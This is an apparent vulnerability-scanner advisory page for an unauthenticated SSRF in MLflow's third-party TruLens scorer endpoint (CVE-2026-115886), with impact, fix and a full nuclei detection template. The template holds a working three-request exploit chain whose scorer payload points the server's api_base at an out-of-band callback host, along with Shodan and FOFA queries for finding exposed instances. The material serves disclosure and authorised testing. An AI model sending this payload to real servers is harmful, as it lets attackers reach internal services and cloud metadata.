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CVE-2026-115886· mlflow / mlflow· CWE-470, CWE-918

MLflow <3.17.0 - Unauthenticated SSRF via Third-Party (TruLens) Scorer

mediumseverity
6.5CVSS score
0.7%likelihood of exploitation, next 30 days
53%of all CVEs are less likely
Readycheck to confirm it

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission.

Impact

An unauthenticated attacker can coerce the MLflow server into making outbound requests to arbitrary internal or external hosts with attacker-controlled headers, enabling access to internal services, cloud metadata endpoints, and other resources reachable from the server.

Fix

Upgrade MLflow to 3.17.0 or later, which constrains third-party scorer classes and their constructor kwargs.

How to confirm it

Send: POST /api/2.0/mlflow/experiments/create ; POST /v1/traces ; POST /ajax-api/3.0/mlflow/scorer/invoke
Positive when: contains in interactsh_protocol "http" or "dns" AND contains "job_id"

Run it with nuclei: nuclei -id CVE-2026-115886 -u <target>

The full check
id: CVE-2026-115886

info:
  name: MLflow <3.17.0 - Unauthenticated SSRF via Third-Party (TruLens) Scorer
  author: kosoyyagent
  severity: medium
  description: |
    MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission.
  impact: |
    An unauthenticated attacker can coerce the MLflow server into making outbound requests to arbitrary internal or external hosts with attacker-controlled headers, enabling access to internal services, cloud metadata endpoints, and other resources reachable from the server.
  remediation: |
    Upgrade MLflow to 3.17.0 or later, which constrains third-party scorer classes and their
    constructor kwargs.
  reference:
    - https://github.com/mlflow/mlflow/security/advisories/GHSA-2wqp-q3c6-ccj5
    - https://github.com/mlflow/mlflow/commit/bac30b4148c4f40045b4d4db07ae60ab3838803f
    - https://github.com/mlflow/mlflow/pull/25890
    - https://github.com/mlflow/mlflow/releases/tag/v3.17.0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-115886
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-115886
    epss-score: 0.00676
    epss-percentile: 0.52559
    cwe-id: CWE-470,CWE-918
  metadata:
    verified: true
    max-request: 3
    vendor: mlflow
    product: mlflow
    shodan-query: http.title:"MLflow"
    fofa-query: title="MLflow"
  tags: cve,cve2026,mlflow,ssrf,oast,unauth,oss,vkev

variables:
  oid: "{{hex_encode(rand_base(16))}}"
  sid: "{{hex_encode(rand_base(8))}}"
  ikey: "{{rand_base(12)}}"

http:
  - raw:
      - |
        POST /api/2.0/mlflow/experiments/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{rand_base(10)}}"}

      - |
        POST /v1/traces HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-mlflow-experiment-id: {{eid}}

        {"resourceSpans":[{"resource":{"attributes":[]},"scopeSpans":[{"scope":{},"spans":[{"traceId":"{{oid}}","spanId":"{{sid}}","name":"s","kind":1,"startTimeUnixNano":"1750000000000000000","endTimeUnixNano":"1750000000000000000","attributes":[{"key":"mlflow.spanInputs","value":{"stringValue":"{\"x\":\"hi\"}"}},{"key":"mlflow.spanOutputs","value":{"stringValue":"\"a coherent response\""}},{"key":"mlflow.spanType","value":{"stringValue":"\"UNKNOWN\""}}],"status":{}}]}]}]}

      - |
        POST /ajax-api/3.0/mlflow/scorer/invoke HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"experiment_id":"{{eid}}","serialized_scorer":"{\"name\":\"Coherence\",\"third_party_scorer_data\":{\"module\":\"mlflow.genai.scorers.trulens\",\"class\":\"Coherence\",\"metric_name\":\"Coherence\",\"model\":\"openai:/gpt-4o\",\"kwargs\":{\"api_base\":\"http://{{interactsh-url}}\",\"api_key\":\"{{ikey}}\"}}}","trace_ids":["tr-{{oid}}"]}

    extractors:
      - type: regex
        name: eid
        part: body
        internal: true
        group: 1
        regex:
          - '"experiment_id"\s*:\s*"?([0-9]+)"?'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: word
        part: body
        words:
          - "job_id"

References

Use this check only on systems you are authorised to test. Where the data comes from